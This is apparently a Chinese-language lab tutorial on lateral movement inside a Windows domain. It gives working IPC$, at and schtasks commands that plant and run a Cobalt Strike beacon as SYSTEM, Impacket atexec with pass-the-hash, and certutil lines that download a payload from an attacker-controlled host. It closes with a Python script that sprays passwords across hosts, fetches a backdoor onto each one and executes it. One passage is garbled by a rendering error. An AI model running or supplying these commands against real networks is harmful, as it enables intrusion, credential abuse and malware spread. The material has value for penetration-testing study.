【内网安全】 横向移动&IPC&AT&SC命令&Impacket套件&CS插件&全自动

简介: 【内网安全】 横向移动&IPC&AT&SC命令&Impacket套件&CS插件&全自动

章节点

IPC,WMI,SMB,PTH,PTK,PTT,SPN,WinRM,WinRS,RDP,Plink,DCOM,SSH;Exchange,LLMNR投毒,Plink,DCOM,Kerberos_TGS,GPO&DACL,

域控提权漏洞,约束委派,数据库攻防,系统补丁下发执行,EDR定向下发执行等。

前提条件:已取得webserver服务器普通域用户权限

简单使用ms14-058提权后,得到sysytem权限


域信息收集-目标&用户&凭据&网络

shell net user /domain    #cS中操作  下同

shell ping OWA2010CN-God.god.org  #得到域控DCip

域内存活主机扫描:(使用ARP 扫描192.168.3 网段,只扫描135端口(计算机默认会开启该端口))

mimikatz logonpasswords

Ladon Adfinder BloodHound

当目前为止,收集到了域内存活主机以及webserver上的hash密码

域横向移动-IPC-命令版-AT&schtasks

[at] & [schtasks]

IPC是专用管道,可以实现对远程计算机的访问,
需要使用目标系统用户的账号密码,使用139、445端口。
1. 建立IPC链接到目标主机
2. 拷贝要执行的命令脚本到目标主机
3. 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本
4. 删除IPC链接
常用ipc命令总结
net use \\192.168.3.32\ipc$ "Admin12345" /user:god.org\administrator  #新建连接
net use #查看与本机的所有连接
net use \\192.168.3.32 /del  #删除该连接
net use \\server\ipc$ "password" /user:username # 工作组
net use \\server\ipc$ "password" /user:domain\username #域内
dir \\xx.xx.xx.xx\C$\                # 查看文件列表
copy \\xx.xx.xx.xx\C$\1.bat 1.bat  # 下载文件
copy 1.bat \\xx.xx.xx.xx\C$  # 复制文件
net use \\xx.xx.xx.xx\C$\1.bat /del  # 删除IPC
net view xx.xx.xx.xx                # 查看对方共享

上线配置

这里只做流程演示,不考虑如何获取明文密码

正向:

beacon_bind_tcp->beacon.exe

connect 192.168.3.32 2222

反向:

代理转发->转发上线->beacon.exe

at < Windows2012 (该版本之前的操作系统使用at命令)

建立ipc连接:

shell net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator

拷贝执行文件到目标机器

shell copy bindtcp-2222.exe \\192.168.3.21\c$

添加计划任务

shell at \\192.168.3.21 12:16 c:\bindtcp-2222.exe

Windows 计划任务程序需要正确的主机名解析来执行 AT 命令。如果在计划任务执行期间无法解析主机名,可能会导致 AT 命令失败并显示 “绑定句柄无效” 错误。修改了 hosts 文件后,Windows 计划任务程序得到了正确的主机名解析,以便正确地执行 AT 命令


在webserver中找到C:\windows\system32\drivers\etc\hosts文件,添加一条记录需要管理员权限,这里只做流程演示

connect 192.168.3.21    #等到定时任务生效后执行,正向连接上线

补充反向连接上线

DC(192.168.2.21)反向连接webserver的4444端口,webserver进行转发上线

后门上传等操作同上

效果图

注:定时任务是系统执行程序所以是system权限,手工执行是administrator权限

schtasks >=Windows2012(适用于windows2012后的操作系统版本)

案例使用sqlserver

建立ipc连接:

net use \\192.168.3.32\ipc$ "Admin12345" /user:god.org\administrator

复制文件到其C盘

copy bindtcp-2222.exe \\192.168.3.32\c$

创beacon任务对应执行文件

schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn beacon /sc DAILY /tr c:\bindtcp-2222.exe /F 
beacon> shell schtasks /create /s 192.168.3.32 /U administrator /P Admin12345 /ru "SYSTEM" /tn beacon /sc DAILY /tr c:\bindtcp-2222.exe /F #使用这条命令也行

运行beacon任务

schtasks /U administrator /P Admin12345 /run /s 192.168.3.32 /tn beacon /i

删除beacon任务

schtasks /delete /s 192.168.3.21 /tn beacon /F

建立IPC常见的错误代码

(1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限

(2)51:网络问题,Windows 无法找到网络路径

(3)53:找不到网络路径,可能是IP地址错误、目标未开机、目标Lanmanserver服务未启动、有防火墙等问题

(4)67:找不到网络名,本地Lanmanworkstation服务未启动,目标删除ipc$

(5)1219:提供的凭据和已存在的凭据集冲突,说明已建立IPCKaTeX parse error: Expected 'EOF', got '#' at position 93: …账号策略,强制定期更改密码 #̲建立IPC失败的原因 (1)目…共享

(3)对方未开启139、445端口,或者被防火墙屏蔽

(4)输出命令、账号密码有错误

域横向移动-IPC-插件版-CS&LSTARS

LSTARS-横向移动-IPC连接 (插件使用)

域横向移动-IPC-套件版-Impacket-atexec

impacket-atexec

该工具是一个半交互的工具,适用于Webshell下,Socks代理下;

在渗透利用中可以收集用户名、明文密码、密码hash、远程主机等做成字典,批量测试

1、Py版:https://github.com/SecureAuthCorp/impacket

python atexec.py god/administrator:Admin12345@192.168.3.21 “ver”

python atexec.py -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 “whoami”


2、Exe版:https://gitee.com/RichChigga/impacket-examples-windows

CS本地用户明文连接:

shell atexec.exe ./administrator:Admin12345@192.168.3.21 “whoami”

CS域内用户明文连接:

shell atexec.exe god/administrator:Admin12345@192.168.3.21 “ver”

b87957db411fbcabd89bc26449e3cf25_44579748905e4c24b50e46f1572a8685.png

CS域内本地用户明文密文连接:

shell atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 “whoami”

shell atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 “whoami”


文件下载进行上线(通过命令下载webserver以及准备好的文件)

shell atexec.exe god/administrator:Admin12345@192.168.3.21 "certutil.exe -urlcache -split -f http://192.168.3.31:80/bindtcp-2222.exe 2222.exe"

shell atexec.exe god/administrator:Admin12345@192.168.3.21 "2222.exe"

域横向移动-IPC-代理版-Socks&Py&atexec

1、建立SOCK节点并连接

2、自写脚本批量下载上线

初始状态只拿到webserver,收集明文密码与hash,python脚本批量跑,原理等同于撞库

这边也新上线了一台主机

3、继续收集AJCK凭据横向移动-以此类推

import os,time
ips={
    '192.168.3.21',
    '192.168.3.25',
    '192.168.3.29',
    '192.168.3.30',
    '192.168.3.32'
}
users={
    'Administrator',
    'boss',
    'dbadmin',
    'fileadmin',
    'itadmin',
    'jack',
    'mary',
    'vpnadm',
    'webadmin'
}
passs={
    'admin!@#45'
    'Admin12345'
}

def xz():#下载后门
    for ip in ips:
        for user in users:
            for mima in passs:
                exec1='python3 .\\atexec.py ./administrator:'+mima+'@'+ip+' "certutil -urlcache -split -f http://192.168.3.31/webserver4444.exe c:/beacon.exe"'
                exec2='python3 .\\atexec.py god/'+user+':'+mima+'@'+ip+' "certutil -urlcache -split -f http://192.168.3.31/webserver4444.exe c:/beacon.exe"'
                #exec3='atexec.exe ./administrator:admin!@#45@192.168.3.32 "certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe"'   #这里是使用可执行程序 效果与py脚本一样
                print('--->'+exec1+'<---')
                print('--->' + exec2 + '<---')
                os.system(exec1)
                os.system(exec2)

def zx():#执行后门
    for ip in ips:
        for user in users:
            for mima in passs:
                #exec="net use \\"+ "\\"+ip+'\ipc$ '+mima+' /user:god\\'+user
                exec1 = 'python3 .\\atexec.py  ./administrator:' + mima + '@' + ip + ' "c:/beacon.exe"'
                exec2 = 'python3 .\\atexec.py god/' + user + ':' + mima + '@' + ip + ' "c:/beacon.exe"'
                #exec3='atexec.exe ./administrator:admin!@#45@192.168.3.32 "certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe"'
                print('--->' + exec1 + '<---')
                print('--->' + exec2 + '<---')
                os.system(exec1)
                os.system(exec2)

if __name__ == '__main__':
    xz()
    zx()

这个脚本有个缺陷,就是上线了一台主机后只会与该主机建立通讯,脚本运行被阻塞了,无法判断是否还有其他主机可以利用,修改思路是只根据前面文件下载返回内容进行判断账号和密码是否正确,并打印出来,后续会补上修改后的脚本

相关文章
|
1月前
|
分布式计算 资源调度 调度
利用SparkLauncher实现Spark Cluster模式下的远端交互
利用SparkLauncher实现Spark Cluster模式下的远端交互
23 0
|
安全 网络安全 数据安全/隐私保护
内网安全-域横向批量at&schtasks&impacket
内网安全-域横向批量at&schtasks&impacket
|
监控 网络协议
EMQ
|
数据采集 存储 缓存
Neuron v2.2.2 发布:MQTT插件功能提升 、新增OPC DA驱动
工业协议网关软件Neuron v2.2.2对MQTT插件、SDK开发包及其他商业驱动插件进行了优化和更新,为工业领域用户提供更加高效便捷的数据采集。
EMQ
258 0
Neuron v2.2.2 发布:MQTT插件功能提升 、新增OPC DA驱动
|
网络协议 物联网 API
SW-X框架 的安装与部署
SW-X 支持启动5种服务,分别为: HTTP服务(API请求) WebSocket服务(长连接请求) MQTT服务(物联网通信) RPC服务(微服务) Tcp服务(自管理 Tcp Server)